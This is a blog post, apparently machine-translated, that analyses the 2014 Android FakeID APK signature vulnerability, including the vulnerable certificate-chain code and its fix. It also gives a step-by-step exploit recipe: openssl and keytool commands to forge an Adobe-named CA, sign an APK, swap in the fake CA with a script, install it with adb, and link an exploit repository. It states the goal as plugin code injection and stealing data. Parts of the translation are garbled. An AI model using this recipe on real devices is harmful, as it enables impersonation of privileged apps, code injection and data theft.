Android FakeID (Google Bug 13678484) vulnerability details, fakeid13678484

Android FakeID (Google Bug 13678484) vulnerability details, fakeid13678484
Start

Following the last Masterkey vulnerability, Bluebox announced a new APK signature vulnerability in July 30, 2014-FakeID, and plans to announce more details on this year's Blackhack, however, the author Jeff forriid has provided a number of tips in this article. In addition, Shen Di's FakeID signature vulnerability analysis and utilization also introduced this article. As there are many knowledge points involved, some of my friends may not be able to understand them yet, so I plan to write a more detailed vulnerability analysis explanation, hoping to help you.

Before analyzing basic concepts, there are several basic concepts that need to be popularized:
The MF, SF, and RSA files in the APK package are signed in the APK package, there will be an extra folder called META-INF, usually contains MANIFEST. MF, CERT. SF and CERT. three RSA files (more than one RSA file when multiple certificates are signed ):

• The MF file contains the package information of the APK, such as the version of the manifest file, the signature version, the attributes of the application, and the SHA1 values of all source files in the package.
• The SF file is a plaintext file signed by SHA1withRSA Signature Algorithm Based on the MF file.
• The RSA file is the signature certificate of the APK file, which is a PKCS7 Public Key Certificate saved in PEM format. The PKCS7 certificate is generally separated from two files, one is the Public Key Certificate, the other is the private key certificate, which has two encoding methods: PEM and DER. PEM is a common file type and is generally used to distribute public key certificates.

Among them, the RSA file is the key to exploits the FakeID vulnerability, which will be described in detail below.
Certificate Chain Structure and authentication principle generally, Android applications we usually publish adopt self-Signed methods. Self-Signed means Issuer (publisher) and Subject (owner) in the Public Key Certificate) is the same. For example, the signature information of Adobe Flash Player is as follows:

Owner: CN = Adobe Systems inconfigurated, OU = Information Systems, O = Adobe Systems inconfigurated, L = San Jose, ST = California, C = US Publisher: CN = Adobe Systems inconfigurated, OU = Information Systems, O = Adobe Systems inreceivated, L = San Jose, ST = California, C = US serial number: d7cb412f75f4887e validity period start date: Thu Oct 01 08:23:14 CST 2009, deadline: mon Feb 16 08:23:14 CST 2037

In addition to self-signed certificates, we can also issue Private Key Certificates by CA. In this way, the Public Key Certificate in the final APK will contain the certificate chain. The main difference between this method and the Signature Name is that in the final Public Key Certificate, Issuer and Subject are different and there will be more than one certificate, the certificate is associated with the Subject through the Issuer. The Issuer authenticates the Subject. The following is the verification of the certificate:

It is a recursive process to determine whether a certificate chain is valid. The following is a three-level certificate verification:

Android verifies the validity of the APK. As mentioned earlier, when the APK is not self-signed, there is a certificate chain in the APK. When installing APK, The system only verifies the validity and integrity of the APK file with the certificate at the lowest level in the chain, but does not verify the validity of the certificate chain. Imagine such a situation:

• Generate a root certificate (recorded as CA) on the development machine and use this certificate to issue a subcertificate (recorded as CLIENT );
• Use this sub-certificate to sign the APK. The RSA file in the APK will contain two certificates: CLIENT and CA. The system will use the CLIENT to check the APK file;
• Modify the RSA file to the CA of Adobe Flash Player (as FakeCA ). Because the system does not verify the validity of the certificate chain, the modified APK can still be installed normally;

On Android, you can obtain the APK certificate through PackageManager. getPackageInfo, as shown below:

<span style="white-space:pre"></span>PackageManager pm = getPackageManager();StringBuilder sb = new StringBuilder();try {PackageInfo info = pm.getPackageInfo(getPackageName(), PackageManager.GET_SIGNATURES);Signature[] sigs = info.signatures;for (Signature sig : sigs) {/* * Get the X.509 certificate. */final byte[] rawCert = sig.toByteArray();InputStream certStream = new ByteArrayInputStream(rawCert);final CertificateFactory certFactory;final X509Certificate x509Cert;try {certFactory = CertificateFactory.getInstance("X509");x509Cert = (X509Certificate) certFactory.generateCertificate(certStream);sb.append("Certificate subject: " + x509Cert.getSubjectDN() + "\n");sb.append("Certificate issuer: " + x509Cert.getIssuerDN() + "\n");sb.append("Certificate serial number: " + x509Cert.getSerialNumber() + "\n");sb.append("\n\n");} catch (CertificateException e) {// e.printStackTrace();}}} catch (NameNotFoundException e) {e.printStackTrace();}

Through the above method, the APK can be officially certified by Adobe Flash Player. Below is a DEMO of FakeCA developed by myself. The above code is printed as follows:

Certificate subject: CN =, OU =, O =, L = Hangzhou, ST = Zhejiang, C = CHCertificate issuer: CN = Adobe Systems inmarshated, OU = Information Systems, O = Adobe Systems inmarshated, L = San Jose, ST = California, C = USCertificate serial number: 13732529592366477909 Certificate subject: CN = Adobe Systems inconfigurated, OU = Information Systems, O = Adobe Systems inconfigurated, L = San Jose, ST = California, C = USCertificate issuer: CN = Adobe Systems inconfigurated, OU = Information Systems, O = Adobe Systems ininitialized ated, L = San Jose, ST = California, C = USCertificate serial number: 15549593810524997758

I believe some of my friends have understood this, so you don't need to read the following content. If you still have any questions, please read it again with patience.

Vulnerability Analysis
On Android, the privileged signature Abode Flash Player exists as a WebViewPlugin in Android. All applications that use the WebView control will load this plug-in when Flash is used on webpages. The following code verifies whether a plug-in is the legality of the Abode Flash Playter plug-in:

private static boolean containsPluginPermissionAndSignatures(PackageInfo pkgInfo) {    // check if the plugin has the required permissions    String permissions[] = pkgInfo.requestedPermissions;    if (permissions == null) {        return false;    }    boolean permissionOk = false;    for (String permit : permissions) {        if (PLUGIN_PERMISSION.equals(permit)) {            permissionOk = true;            break;        }    }    if (!permissionOk) {        return false;    }    // check to ensure the plugin is properly signed    Signature signatures[] = pkgInfo.signatures;    if (signatures == null) {        return false;    }    if (SystemProperties.getBoolean("ro.secure", false)) {        boolean signatureMatch = false;        for (Signature signature : signatures) {            for (int i = 0; i < SIGNATURES.length; i++) {                if (SIGNATURES[i].equals(signature)) {                    signatureMatch = true;                    break;                }            }        }        if (!signatureMatch) {            return false;        }    }    return true;}

From this code, we can see that WebKit authenticates whether an APK is an Adobe Flash Player Plug-in. Through the previous introduction, we have implemented the most critical 1st points. The development mode of the WebView plug-in will be clear, and WebPlugin is directly loaded to the target process in the form of a shared process, which achieves the effect of process injection. For example, open a WebView and load the Flash plug-in. With the FakeID vulnerability, you can steal all the data. In addition to the above HardCode signature, there are other similar privileged signatures in the Android system. Here I directly reference the original BlueBox text:

”In another example, the application with the signature specified by the device’s nfc_access.xml file (usually the signature of the Google Wallet application) is allowed to access the NFC SE hardware. Both of these special signature privileges are hard coded into the Android base code (AOSP). On specific devices, applications with the signature of the device manufacture, or trusted third parties, are allowed to access the vendor-specific device administration (MDM) extensions that allow for silent management, configuration, and control of the device.“

Multi-signature authentication to maximize the FakeID vulnerability, we can sign multiple certificates for the same APK, as mentioned above. In this case, the META-INF folder gets multiple RSA files at the same time. In this way, we can achieve an APK with Adobe plug-in privileges, nfc se hardware control privileges, and so on, as follows:

The root cause of the FakeID vulnerability in vulnerability analysis is that the system did not verify the validity of the certificate chain when installing the APK. The following analyzes the Code with the vulnerability. See createChain and findCert methods in JarUtils. createChain is used to obtain the certificate chain in APK. findCert is used to find the parent certificate through the Issur of the sub-certificate. The problem lies in this method. See the Code:

private static X509Certificate findCert(Principal issuer, X509Certificate[] candidates) {    for (int i = 0; i < candidates.length; i++) {        if (<span style="color:#ff0000;">issuer.equals(candidates[i].getSubjectDN())</span>) {            return candidates[i];        }    }    return null;}

Pay attention to the judgment logic in the Code as long as issuer and candidates [I]. getSubjectDN () is equal. This equal is just a simple string comparison, and it is regarded as a valid certificate and is returned. Let's take a look at the Fix code:

private static X509Certificate findCert(Principal issuer, X509Certificate[] candidates,<span style="color:#ff0000;"> X509Certificate subjectCert</span>, <span style="color:#ff0000;">boolean chainCheck</span>) {    for (int i = 0; i < candidates.length; i++) {        if (issuer.equals(candidates[i].getSubjectDN())) {            if (chainCheck) {                try {                   <span style="color:#ff0000;"> subjectCert.verify(candidates[i].getPublicKey())</span>;                } catch (Exception e) {                    continue;                }            }            return candidates[i];        }    }    return null;}

After the Fix, The subjectCert and chainCheck parameters are added, and the verification of the certificate chain is added.

Through the previous analysis, Exploit is not difficult to Exploit this vulnerability, but the commands involved are complicated. Here I will describe the entire process for your convenience.
Self-issuing CA certificate

• Open SSL genrsa-out ca. key 4096
• Openssl req-new-x509-days 1826-key ca. key-out ca. crt

In generating the crt file, you must ensure that the fields are consistent with those of abw.here is my example:

You are about to be asked to enter information that will be incorporatedinto your certificate request.What you are about to enter is what is called a Distinguished Name or a DN.There are quite a few fields but you can leave some blankFor some fields there will be a default value,If you enter '.', the field will be left blank.-----Country Name (2 letter code) [AU]:USState or Province Name (full name) [Some-State]:CaliforniaLocality Name (eg, city) []:San JoseOrganization Name (eg, company) [Internet Widgits Pty Ltd]:Adobe Systems IncorporatedOrganizational Unit Name (eg, section) []:Information SystemsCommon Name (e.g. server FQDN or YOUR name) []:Adobe Systems IncorporatedEmail Address []:

Generate Keystore

• Keytool-genkey-v-keystore clientkeystore-alias CLIENT-keyalg RSA-keysize 2048-validity 10000

Here, you can enter it as needed. Here is my example:

Enter the keystore password: Enter the new password again: What is your first name and last name? [Unknown]: What is the name of your organizational unit? [Unknown]: What is your organization name for a simple trip? [Unknown]: What is the name of your city or region? [Unknown]: What is the name of your province/city/Autonomous Region in Hangzhou? [Unknown]: What is the double-letter country/region code of this Organization in Zhejiang? [Unknown]: CHCN =, OU =, O =, L = Hangzhou, ST = Zhejiang, C = CH is correct? [No]: y enter the <client> key password (if the password is the same as that of the keystore, press Enter ):

Generate a CSR certificate request file

• Keytool-keystore clientkeystore-certreq-keysize 2048-alias CLIENT-keyalg RSA-file client. csr
  

The keysize must be explicitly set to 2048. Otherwise, the signature may be incompatible with RSA.
Use CA to issue a CLIENT

• Openssl x509-req-CA ca. crt-CAkey ca. key-in client. csr-out client. cer-days 10000-CAcreateserial
  

Import CA root certificate and CLIENT second-level certificate

• Keytool-import-keystore clientkeystore-file ca. crt-alias CA
  
• Keytool-import-keystore clientkeystore-file client. cer-alias CLIENT
  

Use the CLIENT to sign the APK File

• Jarsigner-keystore clientkeystore-sigalg SHA1withRSA-digestalg SHA1 test.apk CLIENT
  

Finally, I used my script to modify FakeCA.

• ./Fake_ca.sh
• Adb install out/test.apk

Related code, I have submitted to https://github.com/boyliang/Android_FakeID_Exploit
To sum up how to use the FakeID vulnerability to implement code injection, I think Shen Di's report has provided a lot of details, and I will not discuss it much. Fake is very harmful and has been affected from Android2.1 to 4.4.1. In the following period, a large number of Trojans exploiting this vulnerability will appear. Compared with the MasterKey vulnerability, the FakeID vulnerability is easier to exploit and has better system compatibility. Of course, it is not difficult to scan out such Trojans. You can verify the certificate chain through code.

Reference Http://blogs.360.cn/360mobile/2014/08/04/all-about-fakeid/
Http://bluebox.com/technical/android-fake-id-vulnerability/
Http://blog.csdn.net/zzhongcy/article/details/21990229
Http://blog.csdn.net/zzhongcy/article/details/21990229
Http://blog.didierstevens.com/2008/12/30/howto-make-your-own-cert-with-openssl/
Http://docs.oracle.com/cd/E19509-01/820-3503/ggezu/index.html